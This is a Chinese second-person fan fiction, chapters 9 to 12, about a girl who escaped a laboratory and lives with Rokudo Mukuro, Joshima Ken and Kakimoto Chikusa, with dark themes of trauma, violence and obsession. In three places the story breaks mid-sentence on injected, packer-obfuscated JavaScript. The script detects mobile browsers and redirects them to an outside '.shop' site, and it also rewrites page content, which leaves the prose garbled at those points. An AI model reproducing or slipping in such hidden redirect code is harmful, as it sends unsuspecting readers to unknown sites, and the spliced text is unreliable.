擦去脚上泛黑的血污后,你脚上被锋利石块割伤的血痕清晰可见,有几道甚至深到见骨。 城岛犬不自觉捂住眼睛,耳朵警觉地竖起,透过指缝中的空隙,他盯着你可怖的伤口。 “会感染。”柿本千种迟疑道,但如果是你的话,似乎并不一定。 六道骸眸色幽深,他从口袋里拿出藏着的绷带和药水。药水细致涂上你入骨的伤痕,你看到小凤梨认真替你上药、缠绷带,他的手法异常娴熟。 “伤得还真是严重呢。”包扎完伤口,六道骸眸光幽幽地盯着他缠好的绷带,指尖轻轻摩挲着你的伤痕,稚嫩纯良的脸上,你无法再像第一次那样看清他眼底的情绪。 “这都是那群混蛋的错!!”城岛犬情绪激动,他现在无法对自己遭遇的一切彻底冷静理智下来。一拳狠狠敲击在石块,石块瞬间碎裂,城岛犬暴躁地在原地转圈圈,耳朵始终保持警惕竖起,你看到他张开嘴时,唇齿间若隐若现的锋利尖牙。 “犬,冷静点。”柿本千种单手按住暴躁的城岛犬,他语气一如既往的平静冷淡,“现在我们已经逃出来了。” “我们逃出来了,犬。”柿本千种又重复了一遍。那种噩梦般的生活,他们再也不会度过了。 争吵声打断了你的胡思乱想,你抬起头,恰好看到金毛小狗在说了一大筐话后,在原地暴躁地转圈圈。小金毛的头发乱糟糟的,像只可怜兮兮的流浪小狗,等到你真正凑近,你才会发现这只小金毛异常凶狠。 你一直想养条狗,所以下意识地,你朝他伸出手。 三个人都看到了你的动作,瞬间,他们都不说话了。柿本千种下意识抬了抬眼镜,他偏头看向城岛犬,后者不知为何瞬间涨红了脸。 “她她她她她这是什么意思啊?!!!” “招狗的动作。”柿本千种面无表情地回答。六道骸微妙赞同。 “!!!!!”城岛犬红着耳根,他不敢直视你的眼睛,城岛犬聪明地朝柿本千种生气来转移注意力,“你在说什么啊白痴小柿!!!” 柿本千种:“犬,你不会以为你的这种做法很聪明吧?” “你怎么看出来的???!!!” 柿本千种的声音没有丝毫起伏,言语间隐约还透着一股淡淡的嘲讽,“因为,犬是笨蛋。” “混蛋小柿!!” 余光发现你还伸着手,城岛犬很难说出自己此刻是什么心情,在你专注望向他的时候,城岛犬只觉得心慌得可怕,像饿了好几顿后突然看见面前盛满美食陷阱,城岛犬连忙惊慌远离。 思绪回笼,你后知后觉发现自己眼前的是人,大脑还在僵直,你迟钝地收回手,下一秒,掌心贴上温热的触感,你抬头看去,小金毛眼神躲闪地蹲在你面前,下巴像是牢牢钉在你掌心一般,他避开你的视线,城岛犬有些自暴自弃道,他凶巴巴地开口:“这样就可以了吧。” 只是因为你是骸大人需要利用的重要存在,他才会勉为其难满足你的要求而已。 柿本千种语气幽幽:“包括做狗吗?” 城岛犬瞬间炸毛。 六道骸静静看着他们打闹,捉摸不透的目光落在你身上,看到你茫然的表情,六道骸古怪笑了两声,“哦呀,原来是喜欢狗吗?” 你听不懂他们的欢笑打闹,自顾自缩在自己安逸的小角落,你顺从心意地躺在地上。明媚的蓝天飞过几只鸟雀,潺潺的溪流声蹦跳着几只鲜活的野生小鱼,你听着林间窸窸窣窣的虫鸣声,莫名的睡意袭来,你挣扎着闭上眼睛。 几息之间,你熟睡过去。 “她睡着了。”柿本千种停下了和城岛犬打闹的动静,两个人不约而同放轻动作,他们小心翼翼走到你身边。 “骸大人,她是睡着了吗?” “差不多吧。”六道骸懒洋洋倚着树干,就算你很特别,但精神上的疲惫却是难以消解,不过你还能自主休息,说明情况还没有差到那种地步。 “她的情况比较特殊。”沉默一会,六道骸俯身抱起睡得香甜的你,他缓缓走在前面,“以后,不要让她一个人单独行动。” 永远不要低估人性之恶。 “是,骸大人。”城岛犬和柿本千种异口同声。既然是骸大人的命令,他们会好好贯彻到底的。 你再次醒来的时候,发现自己躺在温暖的被窝里。 你几乎是条件反射查看自己的身体。 ——手脚没有锁链,身体没有被切割,手臂上也没有奇怪的注射孔,房间也不是死白死白的监狱房…… 你自由地躺在温馨小窝,窗外星光闪闪,微凉的月光透过玻璃窗洒入房间,你依稀能辨清房间的布局。缓慢起身,你摸索着打开灯,站在窗前,你吹着凉凉夜风,你忽然有了股自己真切活在这个世上的感觉。 “你醒了啊?”城岛犬大大方方推开你的房门,他拉着你往外走,就算知道你听不懂话,城岛犬还是喜欢和你对话,“晚饭骸大人已经搞好了,就等你了。” 小金毛碎碎念地拉着你走出屋子,直到看到小凤梨,他才停住脚步。柿本千种和六道骸等在桌前,你看着他们,浓郁的饭香味飘入鼻腔,你无意识咽了咽口水。 好香好香好香好香好香!! 城岛犬:“我还是第一次吃这种菜色诶。” 柿本千种:“这大概不是我们国家的家常菜。” “kufufu…答对了呢。”六道骸漫不经心回答着他们的话,“是新的菜系,味道还不错。” …… 这是……你国家的菜系!!你震惊得几乎说不出话,你下意识看向小凤梨,后者朝你招了招手,他嘴角笑意温和。 “mu-ku-ro!!”自穿越以来,这是你第一次真情实意地露出笑容,“mu-ku-ro——” 尾调上扬,你眉眼弯弯地给了小凤梨一个大大的拥抱,你不会说日语,于是你一遍又一遍念着小凤梨的名字。你决定今天原谅这个垃圾世界一天。 六道骸稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14420014|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳接住你,这也是他第一次看到你笑。 灰蓝色的眼睛充盈着欢快,弥漫在你眉眼间的恨意与痛苦消失,你像是一个真真正正的小孩,灿烂向上。六道骸忽然发现,比起被恨意填满的你,他还是觉得这幅模样的你更顺眼些。 菜的味道和真正的味道相差很远,你缓慢又珍惜地咀嚼着,熟悉的菜品让你湿了眼眶,你忽然想家了,想那个被你遗忘的、也再也回不去的家。 “她很喜欢这个菜吗?”城岛犬小声不敢打扰你,他吃着菜,城岛犬自信开口,“我也可以学着做啊。” “犬,东施效颦。” “东施效颦?那是什么意思?你什么时候学到成语部分了?!!” “是犬太笨。” …… “六道骸。” 在你陷入更深层的绝望之中,小凤梨唤醒了你,你泪眼汪汪地抬头,湿润的灰蓝色眼眸泛着阴郁幽冷的潮湿,浓密的黑色长发散乱铺在你肩膀,浅淡的红唇透着光,你像蛛丝一样牢牢黏住他的视线。 你直直望着他,在你全然的注视下,六道骸险些忘记他想要和你说什么。 “六道骸,我的名字。” 听小凤梨说到一半,你忽然意识到不对,“你说的是中文?!!” 六道骸歪了歪脑袋,他一字一句缓慢念道:“你…的…名字?” “……今春也。”你同样一字一顿缓慢念道:“六道骸?” 六道骸点了点头,他轻声念了遍你的名字,“今·春·也……” 中文的学习并不容易,饶是六道骸天赋不错,短短几天,他也只是速成了几个简单的句子。六道骸并不觉得他是为了你而学习的中文,他只是认为多一个技能傍身会更好,毕竟学无止境。 对于同伴而言,如果连简单的沟通交流都做不到的话,那也太糟人笑了,所以六道骸选择自力更生。 效果也很显著,你们能够简单交流几句了。 “春也春也春也——” 自从知道你的名字后,城岛犬特别喜欢一口大气不带喘地叫你名字,“看本大爷又发现了什么好东西!!” 你们的住所一直在变,每到一个地方,城岛犬都会兴奋地探索城市,柿本千种称之为是犬的原始标记,瞬间,两个人再次打作一团,而你则会慢吞吞抱着犬带回来的零食,然后悄悄躲进自己阴暗的房间里装蘑菇。 “是最新出行的游戏机嗷嗷!!”城岛犬兴奋地拉着你坐在地毯上,“我们来一起玩吧。” “不想。”你整个人缩在被窝里,你拒绝外界的一切。 大家似乎都在变好,但与之相对的,你的精神状态却是越来越差了。最初的欢快好似只是回光返照,你喜欢呆在昏暗无光的房间里,不知从何时起,你开始厌恶出门厌恶阳光。 …… ……你的精神状态在你不知道的情况下越来越差了。 最开始,你也有想要好好生活。 你跟着六道骸学习了一段时间的日语,基本日常交流是没问题了。一直呆在房间里,总是做噩梦的你忽然想出去接触接触这个新世界。 那天恰好大家都有事出门了,你简单装扮好自己,拎着小挎包,你第一次自己一个人走出了家门。既然在异世界活下来,那么不管怎么样,你总该了解一下你未来会生活的新世界。 ……这个世界和你的世界基本没有太大区别。 你走在陌生的街道,来来往往的人穿着他们国家习以为常的搭配,陌生的语言灌入你的耳朵,明明是你前段时间刚学习的句子,你却没有丝毫熟悉的感觉。 正常的人类轻松自在地走在路上,你的记忆里模模糊糊也有这样的场景,你站在人来人往的十字路口,强大的迷惘和陌生冲击着你,你忽然由内而外产生了陌生感。无论是对你,还是对这个世界。 ……这样的世界,真的是真实的吗? 你低头看着自己正常的身体,你漫无目的地游走,陷入自己思绪,你显然没有发现有人正在跟踪你。 忽然,有人拽着你拖入阴暗的小巷,你抬眼看向对方,是一个气血不足的中年宅男。他还穿着某位偶像的应援服,你厌恶地瞥了他一眼,冷着脸,被他冒犯的眼神注视,你莫名烦躁。 “滚开,垃圾。” 心情不爽,你说的话自然也不会有多客气。 “小妹妹一个人出来啊,要不要叔叔陪你玩啊。” 听到对方的话,你瞬间明白了,他把你当成普通的没有缚鸡之力的小孩子了。你定定盯着笑容作呕的男人,从背包里掏出装有昏迷弹的枪支,你在对方惊恐的目光下用枪抵着他的脑门。 “下地狱吧,恶心的渣滓。” 昏迷弹并不会对人造成实质性的损害,你缓缓蹲下身,枪支抵着他脆弱的脖颈,脑海里连日不断的噩梦再次出现惊扰你。 男人化作死尸,冰冷的尸体又从熊熊地狱业火中爬出找你,你被无数死亡包裹。所有罪孽之人都试图把你拉入堕落的深渊。 …… 你根本不怕不些,至始至终,真正对你的有阴影的,一直都是你亲自动手的瞬间,生命在你掌心消散。 你以为你忘记了,但强烈的道德感总会在不知名的角落里拉扯着你,明明不是你的错,偏你道德感最高,于是,所有的罪恶一蜂窝地涌上你。 疼痛无法让你从烦躁中得到片刻消减,因为你根本再也不会感到疼痛。血肉的折磨也无法让你得到丝毫慰藉,你根本不知道你究竟该怎么做才能得到解脱。 耳边一直有模糊不清的呓语在蛊惑你。 ——沉沦吧堕落吧下坠吧,不要抵抗不要挣扎不要拒绝,让一切都彻底扭曲吧 你盯着面前这个肮脏的垃圾,冷漠精致的脸上没有丝毫表情,灰蓝色的眼里闪着无机质的光,浓郁的恶意覆满你的心脏,你闭上眼睛,你终于知道,伴随着■■一起的,是■■对你的扭曲。 ■■让人对你扭曲,又让你因■■而扭曲。 那个该死的、自称神明的、洒水机都扫不干净祂身上恶意的贱人!! 天下没有免费的午餐,在这一刻真切化作现实。你得到了■■的馈赠,也会得到馈赠附属的扭曲。 哈哈哈哈神明上帝,你站起身,捏着手机准备报警,你嘲讽似的扯了扯嘴角,真是可惜呢,你的国家可是向来信奉我命由我不由天。 你绝不可能堕落成扭曲的肮脏玩意。 “你你你你在做什么?!!”报完警,一道弱弱的声音在你身后响起,你转过身,墙角边悄悄露出几缕橘红色发丝,带着眼镜的软萌小男孩悄悄从墙角弹出式一个脑袋,他惊恐看你,“你你你你杀人了?!!” “没有,我报警了。”你踢了一脚死猪一样的男人,你面无表情地扭过头,“我才是受害者。” “诶?!”橘红色头发的小男孩听到你的话,不知不觉,他整个人从墙角冒了出来,他歪头看了看你,又看了看地上的男人,半晌,他慢慢红了脸,“对对不起——是我搞错了,我刚才看到你举着枪,还以为你是什么危险分子。” 眼镜男孩手里捏着手机,紧急报警按钮就在手下,但凡你会有什么危险的举动,男孩都会立刻报警。 趁着现在内心还算清明,你打算先回家窝着,离开之际,橘发男孩又叫住了你。 “那个,你要走了吗?”看到你回头,他又立马慌张地站直身体,“不是,我是说,你不需要留下来做笔录吗?” “不需要。” “啊啊啊等一下,不是的,我的意思是……”眼镜男孩抓了抓头发,本就凌乱的头发更显得乱糟糟了,“请问我可以知道你的名字吗?” “我叫入江正一。” 入江正一见你没有立刻离开,他小心翼翼朝你迈步,他紧张地抓了抓头发,眼镜下,深绿色的眼睛像幽幽植被,他露出一个软乎乎的可爱笑容,“如果不可以也没有关系的。” “今春也。我是今春也。” “今春也,好好听的名字!”入江正一没想到你真的会和他交换名字,犹豫了一下,他再次小心翼翼伸出手机,“可以交换一下联系方式吗?我想和你做朋友。” 等等——啊啊啊啊啊他怎么直接就把自己的目的说出去了啊!!!入江正一崩溃抓头,说不定你直接会认为他是一个变态笨蛋的啊!!他应该问一下妈妈该怎么做的,但是他又担心你会很快离开。 可爱的小男孩紧张兮兮地等待着你的反应,他看上去就像一只炸毛的可爱小羊羔,尤其入江正一今天还穿了件小山羊连帽卫衣,你默默盯着入江正一期待又紧张的反应,半晌,你点了点头。 入江正一瞬间眼睛一亮,像沉睡的森林被唤醒,漂亮的绿眼睛闪烁着动人的光芒,“谢谢你,我会好好和你保持联络的!” 交换完联系方式,入江正一的心情瞬间飙升,他摸了摸热到发烫的脸,手指搭上脉搏,入江正一赶紧喝了口水缓解紧张和兴奋感。 “小正,小正?真是的,小正去哪里了啊?” 听到呼唤,入江正一最后看了眼你的模糊不清的背影,他欢快跑到妈妈身边。 “我在这里妈妈。” “妈妈妈妈,我今天交了一个新朋友!” “小正好厉害哦,是男孩子还是女孩子啊?” “是女孩子啦,哎呀妈妈你别问了。”入江正一害羞地埋起脑袋,想起你漂亮的蓝眼睛,和帅气举枪的模样,入江正一感觉自己的心脏再次忍不住扑通扑通快速跳动起来。 你低头查看手机里新增的电话号码,单调的通讯录除了六道骸、城岛犬和柿本千种,再无其他人,没想到今天新增了一个人。 你点击备注,慢慢在上面打下入江正一几个字。 你去看了眼那个男人,对方有案底,还不止一次,现已经被警方关押了。 解决完一件事后,你的精神感到一阵疲惫,自从上次连续做噩梦,你又开始不睡觉了。你的身体确实不需要睡眠,反正第二天起来会自动清空你身体的所有负面状态和外来寄生,但身体不需要,你的精神似乎不能就这样敷衍对待。 长期不睡觉,你感觉自己的精神状态越来越糟糕了,但是你又不想再次做噩梦。 你烦躁不已,踩着夕阳的余韵,你回到了家,出乎你意料的是,本该出门在外办公一个星期的人居然提前回来了。握住门把手的手一僵,未免自己看错,你还反复确认了好几遍。 “kufufufu…怎么,我提前回来这么不开心吗?”六道骸皮笑肉不笑地看你反复确认他是不是真凤梨,他坐在椅子上,六道骸冷哼一声。 “我想,你有必要和我解释一下,你最近的症状呢。” 10.第 10 章 六道骸踏着光朝你走来。 他从背后拥住你,温凉的手指覆上你冰冷的手背,你看到小凤梨拉着你的手握上他的三叉戟,微不可闻的轻笑像盘旋在你心脏的毒蛇。握住你的手用力,三叉戟调转方向,你们一起把尖端对准疯狂叫嚣着想把你拽入地狱的恶灵。 “春也。”六道骸一字一顿念着你的名字,流畅优美的意语缓慢吐在你耳边,像蛊惑又像鼓励,六道骸轻缓开口:“不要怕,碾碎他们。” 你诡异听懂了他的话。 哈,一群脆弱垃圾的臭虫,你根本不可能害怕这种低端恶心肮脏的存在。你直勾勾盯着恍若从地狱窜上来的熊熊业火,幽暗可怖的火焰倒影着怪物们扭曲的面容,你不由握紧三叉戟。 怪物们凄厉扭曲的爱语只会让你恶心!! 恶心恶心恶心恶心恶心 死人就该有死人的样子啊—— 耀眼的火柱冲破你的噩梦,绚烂的橙光绽放在你眼眸,转瞬,无数死尸恶灵灰飞烟灭。你静静盯着你残缺破漏的梦境,荒芜的梦境里,只剩下辨不清真实还是虚幻的火柱。 忽而,身后的人动了。 漂亮尖锐的三叉戟在空虚的噩梦里轻轻一点,下一秒,停滞的空气晕开一圈圈波纹,极致的绿和极致的蓝上下浮沉,最终定格为世界的雏形。 “这里是梦。”六道骸虚虚环抱住你,他的声音轻佻又散漫,“你该掌控它,春也。” 脑袋一重,你下意识仰头,恰好此时,六道骸也在低头看你,他的下巴搁在你的脑袋上,你直直对上了他的视线。 “小凤梨?” “kufufu…是mu-ku-ro。”六道骸认真纠正你,他捏起你没什么肉的脸蛋,六道骸眯起眼睛,三叉戟消失在手上,他完全握住了你的手。 “mu-ku-ro……?”梦境平稳安宁后,你的精神也随之稳定不少,感受到脸上传来的真实提拉感,后知后觉的疑惑涌上心头,“你怎么会出现在我的梦里?” 你转过身,手指捏上六道骸软乎乎的脸蛋,他的脸上还带着未褪去的婴儿肥,你逐渐用力。 ……是真实的。 “kufufufu…我无处不在。” 脸越来越疼,六道骸伸手阻止了你还想继续用力下去的手。幽红的眼珠一动不动盯着你苍白的精致面容,只有他刚刚捏过的地方流露出一丝浅淡的红晕。 “睡吧。” 忽然出现的烟雾渐渐笼罩住六道骸,他的身影隐在烟雾之中,虚虚幻幻,让你看不真切。 “今天晚上是菠萝排骨。” 你的心里突然有了股实感。伸手抓住六道骸藏于虚幻中的手,他轻轻打了个响指,六道骸消失在你梦里。 …… 你醒了。 茫然地睁开眼睛,脑子里还想着凤梨,你扭过头,昏暗的房屋里,你的眼前出现恰好一颗新鲜的凤梨头。 “哦呀,居然醒了吗?”准备离开的六道骸看到你睁开眼睛,他有些讶异,按照他的预想,你应该会陷入沉睡。 “睡不着。”你困倦地打了个哈欠,慢吞吞拖长尾调,你看向一直陪伴着你的小凤梨,“不想一个人。” “kufufu……”六道骸古怪笑了两声,漂亮的异瞳静静盯着你苍白的脸色,六道骸坐在你床沿没有离开。 “我一直在这里。” 不够 不够不够不够不够不够不够不够 半张脸埋在被窝里,空乏的内心一直叫嚣着想要被什么填满,你紧紧盯着面前的凤梨头,你又想起噩梦中那几道刺目耀眼的光柱。 忽而,你伸手拽住他垂下来的一缕发丝,你诚实遵从内心的欲望,“陪我。” 六道骸顺着你的力道躺下,细微的挣扎被你温暖的被窝盖住,你慢吞吞窝入他的怀抱。小凤梨的体温比你高出好多,嗅着他怀里淡淡的血腥味,你皱起眉头。 你讨厌血腥味。 …… “这就是你把我推下床的理由?”六道骸皮笑肉不笑,让他上床的是你,嫌弃他的又是你。 kufufu…你可真是越来越大胆了,要不是你还有利用价值…… 掀开被子一角,你探出脑袋,没有理会凤梨头的抱怨,你后知后觉察觉到不对劲,“为什么你可以出现在我梦里?” “这很难吗?” 好像有哪里不对劲。 你尝试动用你那颗快要生锈的大脑,你终于意识到那些特殊子弹的不科学性。 这个世界有问题。 你该不会是穿越到魔法世界了吧…… 犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447571|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豫了一会,你看向坐在地上的小凤梨,你递出一只手,你准备把他重新拽上床。 “破例一次。” “我是不是还要谢谢你?”六道骸抓住你的手,他眯起眼睛,手指攥着你的手腕,他拉过你。 毫无防备,你被六道骸的力道带了下去,后者稳稳接住你,你扑倒在他怀里。抬起头,对方嘴角还挂着一抹恶趣味的弧度。 “邪恶凤梨头。” 六道骸捏住你的嘴,他冷笑一声,阻止口吐恶言的你再开口。 进过你的梦后,六道骸更轻易地理解了你的意思,这是一种很奇妙的状态,尽管语言不通,但你们的交流越来越容易了。 不过六道骸宁愿自己没这么理解你。 哼哼,看来是他对你太纵容了,六道骸眸色幽深。 你被迫噤声,不满地戳了戳六道骸的凤梨脑袋,你挣脱开他对你可怜嘴巴的桎梏,目光不经意落在他的右眼,你微妙愣神几秒,忽而,你抬手触碰上他刻有数字6的猩红眼珠。 “你的眼睛变了。” 昏暗的光线下,长长的刘海垂落,遮挡住他右半张脸。六道骸垂眸,乌黑的睫羽又长又密,落下的阴影掩藏住他眼底的真实情绪。 六道骸古怪笑道:“kufufu…害怕吗?” “我怕什么?”你一眼猜到是实验室的手笔,恨意像焚烧过后的秸秆堆,风一吹,死灰复燃。 “就算你是变异凤梨罐,我也不会害怕。” 六道骸诡异沉默,“下次你还是别说话了。” “还会疼吗?” “……不会。”抱住你的手收紧,六道骸说得漫不经心,“我可是从六道轮回中重新回来了啊。” “我喜欢你漂亮的蓝眼睛。”你仰着脑袋,“你有没有发现,我们的眼睛颜色很相近。” “kufufu…是你太迟钝了。”六道骸望入你蛊惑的眼眸,手指轻轻点上你的眼角,他弯起嘴角。 所以他才说,你们是一体的啊。 “真好,我们都逃出来了。”你紧紧抱住六道骸,像受伤后互相舔舐的小兽,你不可抑制地笑出声。 “以后,我们会越来越好的!” 直到你快睡过去,你才听到六道骸在你耳边低低应了声。 “嗯。” 11.第 11 章 再次醒来,模糊的蓝色光影在你眼前晃动,你瞬间警觉,但很快,对方怀里熟悉的气息让你无意识放松下来。 ——是小凤梨。 你伸手摸上凤梨脑袋,翘起的凤梨不轻不重扎着你的手,隐约间,你嗅到了你沐浴露的味道。干涩生冷的气息带着浅淡的凤梨香,你凑近嗅了嗅,没有再闻到他身上的血腥。 手指轻飘飘勾着他的凤梨脑袋,靛青色发丝衬得你的手愈发苍白。你窝在六道骸怀里,垂落的靛青色发丝像松散的蛛网,似有若无垂在你颈窝,细密缠绵的痒意让你撩开六道骸恼人的头发,你听到对方毫无变化的呼吸声。 六道骸还没有醒,你也不想起。 抬手打了个哈欠,你很久没有像今天这样睡个好觉了,睡饱后精神上的餍足让你泛着懒意,你喜欢温暖的被窝。 又咪了一会,再次睁眼,你发现六道骸还没有醒。 你静静盯着闭眼的六道骸好久好久,你有点不相信这家伙居然这么没有警惕心。抬手捏住他的鼻子,下一秒,一双漂亮的异瞳睁开,剔透的眼珠子里不见丝毫困意,看得出,凤梨头早就醒了。六道骸抬手抓住你的爪子,瞥见你清醒过头的模样,眼珠微动,视线落在你难得有了丝红晕的脸上,六道骸捏了捏你。 “醒了?” “我一直在等你起床。” 听见你倒打一靶,六道骸只是挑了下眉,他从床上起身。刚从实验室里逃出,六道骸只先找了个住所,身上的衣服也还是从实验室里逃出时所穿的那件。 简约的白T松松垮垮穿在他身上,宽松的短裤下,纤瘦白净的大腿显在你眼前,六道骸扭头,发现你还蜷缩在被窝里,他伸手拉起你。 “犬和千种已经在外面等着了,今天我们一起出去。” “要带我一起吗?”你眨了下眼,要知道,之前这三个人一起出门可从来没带过你。 “当然。”六道骸缓慢勾起唇,眼底笑意晦暗,他定定盯着你不放,“以后你会和我们一起行动。” 不管是正常活动还是带着恨意的报复,你都不会被排除在外。你会接纳认清他们的全部,无论是阴暗晦涩的心思,还是残忍冷漠的手段,你们就该毫不保留地容纳彼此……更何况,犬和千种,也不会放任你一人。 如果你想离开…… 较高于你体温的手指抚上你的耳畔,六道骸将垂落在你眼前的发丝勾到你耳根后,他不轻不重捏着你的耳垂,瞬间,刺目惑人的红染上你苍白的耳垂,眸色幽深,六道骸忽而露出一个纯良至极的笑。 雾,无处不在。 “好慢啊。”终于见到你和骸大人的身影,城岛犬眼睛一亮,不存在的大尾巴在身后疯狂摇晃,他欢快凑到你身边,城岛犬大声抱怨,“我和小柿都等了你们好久。” 柿本千种:“准确地说,是十二分钟。” “是骸一直赖床。” 你伸手拍上城岛犬,推拒着他还想再凑过来的脸,你扭过头不去看他,“下次你们可以提前叫醒骸。” 城岛犬离你太近了,你甚至都可以数清城岛犬有几根睫毛,灼热的呼吸倾洒在你脸上,你不适地后退,恰好退到柿本千种怀里。 柿本千种本能接住了你。骨节分明的手指搭在你腰间和肩膀,虽然有些营养不良,但柿本千种还是比你高上一些。 “犬,收敛点。”柿本千种面无表情地抬头,触及城岛犬兴奋的眼神,他淡淡警告道。 “知道了啊。”城岛犬不情愿地离你远了些。犬牙碾磨着,瞳孔兴奋收缩,城岛犬强忍着内心诡异的亢奋。 ——没办法,你看起来实在是太可口了啊。 肢体微妙呈现出的抗拒感,潮湿氤氲的灰蓝眼瞳,触碰到自己脸时软软的触感……你跟个小猫崽子似的,城岛犬不受控制地被你吸引。 …… 饿 好饿 好饿好饿好饿好饿好饿好饿 胃液疯狂翻涌,诡异的饿感席卷他整个心脏,城岛犬难耐地磨牙。 想要更加亲近,想要更加亲密,想要你的眼里更多出现他的身影……想要把你吞入腹中永永远远融为一体…… 这也是很正常的,不是吗? 等等——城岛犬忽然意识到什么,还沉浸你摸他脸的大脑敏锐捕捉到关键词,城岛犬扭头看你,“你昨晚是和骸大人一起睡的?” “嗯。”昨晚是你睡得最舒服的一个觉,虽然有点不适应另一个人的心跳呼吸,但活人无可避免拥有这些外在特征。如果是白色怪物,你恐怕难以抑制地想要捏碎它们烦人恶心的心跳声,但对方是小凤梨,你可以容忍。 听到你肯定的回答,转动眼珠,柿本千种看向你,手指托了托眼镜,喉结轻微滚动,柿本千种合理推测,“是做噩梦了吗?” 留心你的表情,柿本千种知道自己猜对了。 “我和小柿也在啊。”城岛犬直白道:“下一次,我们也可以陪你。” 骸大人可以,他们也可以。你们是一体的。 “噩梦什么的,咬碎就好。”让你不渝的东西,城岛犬全都会撕碎。 六道骸走在前面,余光瞥到一左一右跟着你的犬和千种,晦涩不明的视线落在你身上,六道骸收敛心绪,他神色正常地往前走。 你轻松走出门,灿烂的阳光垂爱你,金灿灿的耀眼光辉尽数倾洒在你身上,浓密的乌发披散在你肩膀,极致的黑吞噬着所有光线,你冷淡漠然的灰蓝眼瞳随意扫向人群,瞥见他们死死盯在你身上的视线,你厌恶地别过脸。 原本的好心情一扫而空,你扭过头,透明的玻璃橱窗扭曲模糊着人们脸上的表情,无数意味不明的视线一股脑地灌溉到你身上,沐浴在温暖灿烂的阳光下,你只觉得浑身冰凉。 “不用在意。” 忽然,你手上一暖,你重新抬头,六道骸正对你微笑,他牵着你的手,压迫性的目光一一扫过不断看向你的路人,直到把他们逼得全都后退,六道骸这才低头看你。 “我们都在这。” 城岛犬龇着牙,喉咙里发出威胁的低吼,把路人吓得收回视线后,他依旧没有放下威胁的姿态,“再看的话,本大爷就把你们的眼珠子全都挖出来!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475558|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“犬,干得不错。”柿本千种冷冰冰望着他们,察觉到他们眼里黏腻恶心的欲望,柿本千种不动声色调整位置,他替你遮挡掉那些不友善的视线。 “真想把他们全都破坏掉。” 没有人试图遮挡住你的容貌,你大大方方站在阳光下,有错的是那些生出阴暗晦涩心思的垃圾们。 如果只是痴迷欣赏倒也没什么,但透过他们意志不坚定的表层,恶意与破坏欲共同涌上浑浊污垢的眼睛,就像…当初在实验室里的白色怪物。 你们的威胁只在开始有效,胆怯的路人缓慢回避后,恶意粘稠的眼神愈发不加掩饰,甚至,在城岛犬一声声的威胁下,气氛愈发诡异,像膨胀到极点的气球,只稍加施压,和谐的表面瞬间会炸裂崩掉。 你又开始烦躁了,神经质地咬着手指,你不可避免地回想起那群低劣的尸体。 丑陋的、泛着恶臭的、下水道里腐烂发霉的黏腻霉菌!! 该死该死该死该死该死该死—— 六道骸抬手阻止你继续伤害自己的手指,还未等他说话,一道激动病态的声音插了进来。 “你的形象很适合演艺公司啊!!美女美女,考虑一下签我们的公司吧,我会把你包装成……不,不,都不需要包装,你只要站在那里,你就可以红!!!” 在气氛即将爆炸前,有人打破了僵局。 陌生的中年男人上来就想拽住你的手,柿本千种及时阻拦,眼镜下,蓝黑色的眼睛泛着无机质的光,他抓住中年男人的手,力道加重,薄削的嘴唇缓缓吐出冰冷没有温度的话。 “是你自己滚。还是我帮你。” “干脆杀掉好了。”没有善恶观的城岛犬露出锋利的尖牙,言语之间完全是对生命的漠视,“这个世界,随随便便消失个人,也没人会发现,不是吗?” 就像他们一样。 “粗鲁!!”中年男人的眼睛完全被你的身影填满,他目露痴迷,糟糕的情态下,暴怒和嫉妒让他丧失理智,“你们这群小屁孩懂什么?!!我明白了,以为跟在她身后就会得到垂怜吗?哈哈哈哈做梦你们做梦!!!” “是我的!她是我的!!!跟我走跟我走跟我有跟我走!!我带你红我会带你红的我会好好养你的啊——” 六道骸的手指还代替着你的手指被你啃咬,他并不在意这点疼痛,目光幽暗地看向这个不知死活的人,红色的眼睛里,数字缓慢变化着。 “恶心。”你几乎要被男人滑稽恶臭的模样笑出声,你语气恶劣,“你是指拿我红的钱养我自己吗?滚远点。” 杀了他? 不不不不可以 余光注意到围绕在这的人群越来越多,你烦躁绷直嘴角,不能在这里杀人。 不对不对不对不对 不可以杀人可以杀人不可以杀人 …… 长期处于实验室里,你脑海里的道德和生命观念也开始淡漠,但仅有的底线还在死命拉扯着你。 你已经实施了报复行为,如果恶意滥杀,那么你和怪物又有什么区别? 你不要变成怪物。 12.第 12 章·精修 中年男人的暴动好似某种信号,一瞬间,所有湿冷阴郁的目光不甘心地从你身上移开,恶念妒意像不断充气膨胀的气球,有人走了上去。 浓烈的负面情充斥他们大脑,有了第一个,第二个、第三个接踵而至。 …… 该死该死该死 那种男人怎么配接近你 他真该去地狱忏悔他的罪行 …… 